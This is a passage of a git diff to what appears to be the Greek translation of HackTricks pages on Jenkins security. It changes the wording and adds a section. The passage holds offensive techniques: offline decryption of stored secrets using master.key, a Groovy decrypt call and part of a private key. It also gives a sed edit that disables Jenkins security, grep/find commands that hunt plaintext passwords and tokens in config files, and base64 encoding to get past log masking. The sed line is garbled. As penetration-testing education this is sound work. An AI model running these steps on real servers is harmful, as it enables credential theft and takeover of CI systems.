script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **για να αποκρυπτογραφήσετε αυτά τα μυστικά**. ```bash python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml 06165DF2-C047-4402-8CAB-1C8EC526C115 @@ -359,17 +372,17 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT ``` -#### Αποκρυπτογράφηση μυστικών Jenkins από το Groovy +#### Αποκρυπτογράφηση μυστικών του Jenkins από Groovy ```bash println(hudson.util.Secret.decrypt("{...}")) ``` -### Δημιουργία νέου διαχειριστή +### Δημιουργία νέου admin χρήστη 1. Πρόσβαση στο αρχείο Jenkins config.xml στο `/var/lib/jenkins/config.xml` ή `C:\Program Files (x86)\Jenkis\` -2. Αναζητήστε τη λέξη `true` και αλλάξτε τη λέξη **`true`** σε **`false`**. +2. Αναζητήστε τη λέξη `true`και αλλάξτε τη λέξη \*\*`true` \*\* σε **`false`**. 1. `sed -i -e 's/truefalsetrue` και **επανεκκινήστε ξανά τον Jenkins**. ## Αναφορές diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md index f8c19bf95..61992e6b1 100644 --- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md +++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md @@ -1,87 +1,98 @@ -# Βασικές Πληροφορίες για το Jenkins +# Βασικές πληροφορίες για το Jenkins {{#include ../../banners/hacktricks-training.md}} ## Πρόσβαση -### Όνομα Χρήστη + Κωδικός +### Όνομα χρήστη + Κωδικός -Ο πιο κοινός τρόπος σύνδεσης στο Jenkins είναι με ένα όνομα χρήστη ή έναν κωδικό. +Ο πιο συνηθισμένος τρόπος για να συνδεθείς στο Jenkins είναι με όνομα χρήστη ή κωδικό πρόσβασης ### Cookie -Αν ένα **εξουσιοδοτημένο cookie κλαπεί**, μπορεί να χρησιμοποιηθεί για πρόσβαση στη συνεδρία του χρήστη. Το cookie συνήθως ονομάζεται `JSESSIONID.*`. (Ένας χρήστης μπορεί να τερματίσει όλες τις συνεδρίες του, αλλά θα πρέπει πρώτα να ανακαλύψει ότι ένα cookie έχει κλαπεί). +Αν ένα **αποκρυπτογραφημένο/εξουσιοδοτημένο cookie κλαπεί**, μπορεί να χρησιμοποιηθεί για πρόσβαση στη συνεδρία του χρήστη. Το cookie συνήθως ονομάζεται `JSESSIONID.*`. (Ένας χρήστης μπορεί να τερματίσει όλες τις συνεδρίες του, αλλά πρέπει πρώτα να ανακαλύψει ότι ένα cookie κλάπηκε). -### SSO/Πρόσθετα +### SSO/Plugins -Το Jenkins μπορεί να ρυθμιστεί χρησιμοποιώντας πρόσθετα για να είναι **προσβάσιμο μέσω τρίτου SSO**. +Το Jenkins μπορεί να ρυθμιστεί με plugins ώστε να είναι **προσβάσιμο μέσω τρίτου μέρους SSO**. ### Tokens -**Οι χρήστες μπορούν να δημιουργήσουν tokens** για να δώσουν πρόσβαση σε εφαρμογές να τους προσποιηθούν μέσω CLI ή REST API. +**Οι χρήστες μπορούν να δημιουργήσουν tokens** για να δώσουν πρόσβαση σε εφαρμογές ώστε να τους μιμηθούν μέσω CLI ή REST API. -### SSH Κλειδιά +### SSH Keys -Αυτό το στοιχείο παρέχει έναν ενσωματωμένο SSH διακομιστή για το Jenkins. Είναι μια εναλλακτική διεπαφή για το [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), και οι εντολές μπορούν να εκτελούνται με αυτόν τον τρόπο χρησιμοποιώντας οποιονδήποτε SSH πελάτη. (Από τα [docs](https://plugins.jenkins.io/sshd/)) +Αυτό το component παρέχει ενσωματωμένο SSH server για το Jenkins. Είναι μια εναλλακτική διεπαφή για το [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), και εντολές μπορούν να κληθούν με αυτόν τον τρόπο χρησιμοποιώντας οποιονδήποτε SSH client. (Από τα [docs](https://plugins.jenkins.io/sshd/)) ## Εξουσιοδότηση -Στο `/configureSecurity` είναι δυνατό να **ρυθμίσετε τη μέθοδο εξουσιοδότησης του Jenkins**. Υπάρχουν πολλές επιλογές: +Στο `/configureSecurity` είναι δυνατό να **διαμορφωθεί η μέθοδος εξουσιοδότησης του Jenkins**. Υπάρχουν αρκετές επιλογές: -- **Ο καθένας μπορεί να κάνει οτιδήποτε**: Ακόμα και η ανώνυμη πρόσβαση μπορεί να διαχειριστεί τον διακομιστή. -- **Κληρονομική λειτουργία**: Ίδιο με το Jenkins <1.164. Αν έχετε τον **ρόλο "admin"**, θα έχετε **πλήρη έλεγχο** του συστήματος, και **διαφορετικά** (συμπεριλαμβανομένων των **ανώνυμων** χρηστών) θα έχετε **πρόσβαση μόνο για ανάγνωση**. -- **Οι συνδεδεμένοι χρήστες μπορούν να κάνουν οτιδήποτε**: Σε αυτή τη λειτουργία, κάθε **συνδεδεμένος χρήστης αποκτά πλήρη έλεγχο** του Jenkins. Ο μόνος χρήστης που δεν θα έχει πλήρη έλεγχο είναι ο **ανώνυμος χρήστης**, ο οποίος αποκτά μόνο **πρόσβαση για ανάγνωση**. -- **Ασφάλεια βασισμένη σε πίνακα**: Μπορείτε να ρυθμίσετε **ποιος μπορεί να κάνει τι** σε έναν πίνακα. Κάθε **στήλη** αντιπροσωπεύει μια **άδεια**. Κάθε **γραμμή** **αντιπροσωπεύει** έναν **χρήστη ή μια ομάδα/ρόλο.** Αυτό περιλαμβάνει έναν ειδικό χρήστη '**ανώνυμος**', ο οποίος αντιπροσωπεύει **μη αυθεντικοποιημένους χρήστες**, καθώς και '**αυθεντικοποιημένος**', ο οποίος αντιπροσωπεύει **όλους τους αυθεντικοποιημένους χρήστες**. +- **Anyone can do anything**: Ακόμα και η ανώνυμη πρόσβαση μπορεί να διαχειριστεί τον server +- **Legacy mode**: Ίδιο με το Jenkins <1.164. Αν έχεις το **"admin" role**, θα σου δοθεί **πλήρης έλεγχος** του συστήματος, ενώ **διαφορετικά** (συμπεριλαμβανομένων των **anonymous** χρηστών) θα έχεις **πρόσβαση ανάγνωσης**. +- **Logged-in users can do anything**: Σε αυτή τη λειτουργία, κάθε **συνδεδεμένος χρήστης αποκτά πλήρη έλεγχο** του Jenkins. Ο μόνος χρήστης που δεν θα έχει πλήρη έλεγχο είναι ο **anonymous user**, που έχει μόνο **πρόσβαση ανάγνωσης**. +- **Matrix-based security**: Μπορείς να διαμορφώσεις **ποιος μπορεί να κάνει τι** σε έναν πίνακα. Κάθε **στήλη** αντιπροσωπεύει μια **άδεια**. Κάθε **γραμμή** **αντιπροσωπεύει** έναν **χρήστη ή μια ομάδα/ρόλο.** Αυτό περιλαμβάνει έναν ειδικό χρήστη '**anonymous**', που αντιπροσωπεύει **μη-επαληθευμένους χρήστες**, καθώς και '**authenticated**', που αντιπροσωπεύει **όλους τους επαληθευμένους χρήστες**. ![](<../../images/image (149).png>) -- **Στρατηγική Εξουσιοδότησης Βασισμένη σε Έργα:** Αυτή η λειτουργία είναι μια **επέκταση** της "**Ασφάλειας βασισμένης σε πίνακα**" που επιτρέπει την επιπλέον ACL matrix να ορίζεται **για κάθε έργο ξεχωριστά.** -- **Στρατηγική Βασισμένη σε Ρόλους:** Ενεργοποιεί τον καθορισμό εξουσιοδοτήσεων χρησιμοποιώντας μια **στρατηγική βασισμένη σε ρόλους**. Διαχειριστείτε τους ρόλους στο `/role-strategy`. +- **Project-based Matrix Authorization Strategy:** Αυτή η λειτουργία είναι μια **επέκταση** της "**Matrix-based security**" που επιτρέπει πρόσθετους ACL matrix να οριστούν **για κάθε project ξεχωριστά.** +- **Role-Based Strategy:** Επιτρέπει τον ορισμό εξουσιοδοτήσεων χρησιμοποιώντας μια **στρατηγική βασισμένη σε ρόλους**. Διαχειρίσου τους ρόλους στο `/role-strategy`. -## **Βασίλειο Ασφαλείας** +## **Security Realm** -Στο `/configureSecurity` είναι δυνατό να **ρυθμίσετε το βασίλειο ασφαλείας.** Από προεπιλογή, το Jenkins περιλαμβάνει υποστήριξη για μερικά διαφορετικά Βασίλεια Ασφαλείας: +Στο `/configureSecurity` είναι δυνατό να **διαμορφωθεί το security realm.** Από προεπιλογή το Jenkins υποστηρίζει μερικά διαφορετικά Security Realms: -- **Ανάθεση σε servlet container**: Για **ανάθεση αυθεντικοποίησης σε ένα servlet container που εκτελεί τον ελεγκτή Jenkins**, όπως το [Jetty](https://www.eclipse.org/jetty/). -- **Δική του βάση δεδομένων χρηστών του Jenkins:** Χρησιμοποιήστε **την ενσωματωμένη βάση δεδομένων χρηστών του Jenkins** για αυθεντικοποίηση αντί να αναθέσετε σε ένα εξωτερικό σύστημα. Αυτό είναι ενεργοποιημένο από προεπιλογή. -- **LDAP**: Ανάθεση όλης της αυθεντικοποίησης σε έναν ρυθμισμένο LDAP διακομιστή, συμπεριλαμβανομένων τόσο των χρηστών όσο και των ομάδων. -- **Βάση δεδομένων χρηστών/ομάδων Unix**: **Αναθέτει την αυθεντικοποίηση στη βάση δεδομένων χρηστών του Unix** στο επίπεδο του λειτουργικού συστήματος στον ελεγκτή Jenkins. Αυτή η λειτουργία θα επιτρέψει επίσης την επαναχρησιμοποίηση των ομάδων Unix για εξουσιοδότηση. +- **Delegate to servlet container**: Για **ανάθεση authentication σε ένα servlet container που τρέχει τον Jenkins controller**, όπως το [Jetty](https://www.eclipse.org/jetty/). +- **Jenkins’ own user database:** Χρήση της **ενσωματωμένης βάσης χρηστών του Jenkins** για authentication αντί να γίνει ανάθεση σε εξωτερικό σύστημα. Αυτό είναι ενεργοποιημένο από προεπιλογή. +- **LDAP**: Ανάθεση όλου του authentication σε διαμορφωμένο LDAP server, συμπεριλαμβανομένων χρηστών και ομάδων. +- **Unix user/group database**: **Αναθέτει το authentication στη βασική Unix** OS-level βάση χρηστών στον Jenkins controller. Αυτή η λειτουργία επιτρέπει επίσης την επαναχρησιμοποίηση των Unix groups για εξουσιοδότηση. -Τα πρόσθετα μπορούν να παρέχουν επιπλέον βασίλεια ασφαλείας που μπορεί να είναι χρήσιμα για την ενσωμάτωση του Jenkins σε υπάρχοντα συστήματα ταυτότητας, όπως: +Plugins μπορούν να παρέχουν επιπλέον security realms που μπορεί να είναι χρήσιμα για ενσωμάτωση του Jenkins σε υπάρχοντα identity systems, όπως: - [Active Directory](https://plugins.jenkins.io/active-directory) - [GitHub Authentication](https://plugins.jenkins.io/github-oauth) - [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2) -## Jenkins Κόμβοι, Πράκτορες & Εκτελεστές +## Jenkins Nodes, Agents & Executors Ορισμοί από τα [docs](https://www.jenkins.io/doc/book/managing/nodes/): -**Κόμβοι** είναι οι **μηχανές** στις οποίες εκτελούνται οι **πράκτορες**. Το Jenkins παρακολουθεί κάθε συνδεδεμένο κόμβο για ελεύθερο χώρο δίσκου, ελεύθερο χώρο temp, ελεύθερο swap, χρόνο/συγχρονισμό ρολογιού και χρόνο απόκρισης. Ένας κόμβος τίθεται εκτός σύνδεσης αν οποιαδήποτε από αυτές τις τιμές ξεπεράσει το ρυθμισμένο όριο. +**Nodes** είναι οι **μηχανές** στις οποίες τρέχουν οι build **agents**. Το Jenkins παρακολουθεί κάθε προσαρτημένο node για χώρο στο δίσκο, ελεύθερο temp space, ελεύθερο swap, συγχρονισμό/χρόνο ρολογιού και χρόνο απόκρισης. Ένα node τίθεται offline αν οποιαδήποτε από αυτές τις τιμές βγει εκτός των ρυθμισμένων ορίων. -**Πράκτορες** **διαχειρίζονται** την **εκτέλεση εργασιών** εκ μέρους του ελεγκτή Jenkins χρησιμοποιώντας **εκτελεστές**. Ένας πράκτορας μπορεί να χρησιμοποιήσει οποιοδήποτε λειτουργικό σύστημα που υποστηρίζει Java. Τα εργαλεία που απαιτούνται για τις κατασκευές και τις δοκιμές εγκαθίστανται στον κόμβο όπου εκτελείται ο πράκτορας; μπορούν να **εγκατασταθούν απευθείας ή σε ένα κοντέινερ** (Docker ή Kubernetes). Κάθε **πράκτορας είναι ουσιαστικά μια διαδικασία με το δικό του PID** στη μηχανή φιλοξενίας. +**Agents** **διαχειρίζονται** την **εκτέλεση εργασιών** εκ μέρους του Jenkins controller χρησιμοποιώντας **executors**. Ένας agent μπορεί να χρησιμοποιεί οποιοδήποτε λειτουργικό σύστημα που υποστηρίζει Java. Τα εργαλεία που απαιτούνται για builds και tests εγκαθίστανται στον κόμβο όπου τρέχει ο agent· μπορούν **να εγκατασταθούν απευθείας ή σε container** (Docker ή Kubernetes). Κάθε **agent είναι ουσιαστικά μια διεργασία με το δικό της PID** στη host μηχανή. -Ένας **εκτελεστής** είναι μια **θέση για την εκτέλεση εργασιών**; ουσιαστικά, είναι **ένα νήμα στον πράκτορα**. Ο **αριθμός των εκτελεστών** σε έναν κόμβο καθορίζει τον αριθμό των **ταυτόχρονων εργασιών** που μπορούν να εκτελούνται σε αυτόν τον κόμβο ταυτόχρονα. Με άλλα λόγια, αυτό καθορίζει τον **αριθμό των ταυτόχρονων Pipeline `stages`** που μπορούν να εκτελούνται σε αυτόν τον κόμβο ταυτόχρονα. +Ένας **executor** είναι μια **θέση για εκτέλεση εργασιών**· ουσιαστικά, είναι **ένα thread στον agent**. Ο **αριθμός executors** σε έναν node ορίζει τον αριθμό **παράλληλων εργασιών** που μπορούν να εκτελεστούν στον node την ίδια στιγμή. Με άλλα λόγια, αυτό καθορίζει τον **αριθμό ταυτόχρονων Pipeline `stages`** που μπορούν να εκτελούνται σε αυτόν τον node την ίδια στιγμή. -## Μυστικά Jenkins +## Jenkins Secrets -### Κρυπτογράφηση Μυστικών και Διαπιστευτηρίων +### Encryption of Secrets and Credentials -Ορισμός από τα [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Το Jenkins χρησιμοποιεί **AES για την κρυπτογράφηση και την προστασία μυστικών**, διαπιστευτηρίων και των αντίστοιχων κλειδιών κρυπτογράφησης τους. Αυτά τα κλειδιά κρυπτογράφησης αποθηκεύονται στο `$JENKINS_HOME/secrets/` μαζί με το κύριο κλειδί που χρησιμοποιείται για την προστασία αυτών των κλειδιών. Αυτός ο φάκελος θα πρέπει να ρυθμιστεί έτσι ώστε μόνο ο χρήστης του λειτουργικού συστήματος που εκτελεί τον ελεγκτή Jenkins να έχει δικαιώματα ανάγνωσης και εγγραφής σε αυτόν τον φάκελο (δηλαδή, μια τιμή `chmod` `0700` ή χρησιμοποιώντας κατάλληλα χαρακτηριστικά αρχείων). Το **κύριο κλειδί** (μερικές φορές αναφέρεται ως "κλειδί κρυπτογράφησης" στην κρυπτογραφία) είναι **αποθηκευμένο \_μη κρυπτογραφημένο\_** στο σύστημα αρχείων του ελεγκτή Jenkins στο **`$JENKINS_HOME/secrets/master.key`** το οποίο δεν προστατεύει από επιτιθέμενους με άμεση πρόσβαση σε αυτό το αρχείο. Οι περισσότεροι χρήστες και προγραμματιστές θα χρησιμοποιούν αυτά τα κλειδιά κρυπτογράφησης έμμεσα είτε μέσω του [Secret](https://javadoc.jenkins.io/byShortName/Secret) API για την κρυπτογράφηση γενικών μυστικών δεδομένων είτε μέσω του API διαπιστευτηρίων. Για τους κρυπτογραφικά περίεργους, το Jenkins χρησιμοποιεί AES σε λειτουργία αλυσίδας μπλοκ κρυπτογράφησης (CBC) με padding PKCS#5 και τυχαία IVs για την κρυπτογράφηση περιπτώσεων του [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) που αποθηκεύονται στο `$JENKINS_HOME/secrets/` με ένα όνομα αρχείου που αντιστοιχεί στο `CryptoConfidentialKey` id τους. Κοινά ids κλειδιών περιλαμβάνουν: +Ορισμός από τα [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Το Jenkins χρησιμοποιεί **AES για να κρυπτογραφήσει και να προστατέψει μυστικά**, credentials, και τα αντίστοιχα κλειδιά κρυπτογράφησης. Αυτά τα κλειδιά κρυπτογράφησης αποθηκεύονται στο `$JENKINS_HOME/secrets/` μαζί με το master key που χρησιμοποιείται για την προστασία αυτών των κλειδιών. Αυτός ο κατάλογος θα πρέπει να ρυθμιστεί έτσι ώστε μόνο ο χρήστης του λειτουργικού συστήματος που τρέχει ο Jenkins controller να έχει δικαίωμα ανάγνωσης και εγγραφής σε αυτόν τον κατάλογο (π.χ. μια τιμή `chmod` `0700` ή χρησιμοποιώντας κατάλληλα file attributes). Το **master key** (που μερικές φορές αναφέρεται ως "key encryption key") είναι **αποθηκευμένο \_μη κρυπτογραφημένο\_** στο filesystem του Jenkins controller στο **`$JENKINS_HOME/secrets/master.key`**, που δεν προστατεύει από επιτιθέμενους με άμεση πρόσβαση σε αυτό το αρχείο. Οι περισσότεροι χρήστες και developers θα χρησιμοποιήσουν αυτά τα κλειδιά κρυπτογράφησης έμμεσα είτε μέσω του [Secret](https://javadoc.jenkins.io/byShortName/Secret) API για κρυπτογράφηση γενικών μυστικών είτε μέσω του credentials API. Για τους κρυπτο-ενδιαφερόμενους, το Jenkins χρησιμοποιεί AES σε cipher block chaining (CBC) mode με PKCS#5 padding και τυχαία IVs για να κρυπτογραφήσει instances του [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) που αποθηκεύονται στο `$JENKINS_HOME/secrets/` με όνομα αρχείου που αντιστοιχεί στο id του `CryptoConfidentialKey`. Κοινά ids κλειδιών περιλαμβάνουν: - `hudson.util.Secret`: χρησιμοποιείται για γενικά μυστικά; -- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: χρησιμοποιείται για ορισμένους τύπους διαπιστευτηρίων; -- `jenkins.model.Jenkins.crumbSalt`: χρησιμοποιείται από τον [μηχανισμό προστασίας CSRF](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); και +- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: χρησιμοποιείται για κάποιους τύπους credentials; +- `jenkins.model.Jenkins.crumbSalt`: χρησιμοποιείται από τον μηχανισμό [CSRF protection](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); και -### Πρόσβαση σε Διαπιστευτήρια +### Credentials Access -Οι διαπιστευτήριες μπορούν να είναι **περιορισμένες σε παγκόσμιους παρόχους** (`/credentials/`) που μπορούν να προσπελαστούν από οποιοδήποτε έργο έχει ρυθμιστεί, ή μπορούν να περιοριστούν σε **συγκεκριμένα έργα** (`/job//configure`) και επομένως να είναι προσβάσιμες μόνο από το συγκεκριμένο έργο. +Τα credentials μπορούν να **οριστούν για global providers** (`/credentials/`) που μπορούν να προσπελαστούν από οποιοδήποτε project είναι διαμορφωμένο, ή μπορούν να οριστούν για **συγκεκριμένα projects** (`/job//configure`) και επομένως να είναι προσβάσιμα μόνο από το συγκεκριμένο project. -Σύμφωνα με [**τα docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Οι διαπιστευτήριες που είναι σε πεδίο είναι διαθέσιμες στην pipeline χωρίς περιορισμούς. Για να **αποτραπεί η τυχαία έκθεση στο αρχείο καταγραφής κατασκευής**, οι διαπιστευτήριες είναι **κρυμμένες** από την κανονική έξοδο, έτσι ώστε μια κλήση του `env` (Linux) ή `set` (Windows), ή προγράμματα που εκτυπώνουν το περιβάλλον τους ή τις παραμέτρους τους να **μην τις αποκαλύπτουν στο αρχείο καταγραφής κατασκευής** σε χρήστες που διαφορετικά δεν θα είχαν πρόσβαση στις διαπιστευτήριες. +Σύμφωνα με [**τα docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Τα credentials που είναι εντός scope γίνονται διαθέσιμα στο pipeline χωρίς περιορισμό. Για **να αποτραπεί η τυχαία αποκάλυψη στο build log**, τα credentials **κρύβονται (masked)** από κανονική έξοδο, έτσι μια κλήση `env` (Linux) ή `set` (Windows), ή προγράμματα που εκτυπώνουν το περιβάλλον ή τις παραμέτρους τους **δεν θα τα αποκαλύψουν στο build log** σε χρήστες που διαφορετικά δεν θα είχαν πρόσβαση σε αυτά. -**Γι' αυτόν τον λόγο, προκειμένου να εξάγει τις διαπιστευτήριες, ένας επιτιθέμενος χρειάζεται, για παράδειγμα, να τις κωδικοποιήσει σε base64.** +**Γι' αυτό, για να εξάγει ένας επιτιθέμενος τα credentials, χρειάζεται για παράδειγμα να τα μετατρέψει σε base64.** -## Αναφορές +### Secrets in plugin/job configs on disk + +Μην υποθέτεις ότι τα μυστικά είναι μόνο σε `credentials.xml`. Πολλά plugins αποθηκεύουν μυστικά στο **δικό τους global XML** κάτω από `$JENKINS_HOME/*.xml` ή σε ανά-job `$JENKINS_HOME/jobs//config.xml`, μερικές φορές ακόμη και σε απλό κείμενο (η απόκρυψη στο UI δεν εγγυάται κρυπτογραφημένη αποθήκευση). Αν αποκτήσεις πρόσβαση ανάγνωσης στο filesystem, ανέγραψε αυτά τα XML και ψάξε για εμφανή tags με μυστικά. +```bash +# Global plugin configs +ls -l /var/lib/jenkins/*.xml +grep -R "password\\|token\\|SecretKey\\|credentialId" /var/lib/jenkins/*.xml + +# Per-job configs +find /var/lib/jenkins/jobs -maxdepth 2 -name config.xml -print -exec grep -H "password\\|token\\|SecretKey" {} \\; +``` +## References - [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/) - [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/) @@ -90,5 +101,6 @@ - [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery) - [https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) - [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/) +- [https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/](https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/) {{#include ../../banners/hacktricks-training.md}}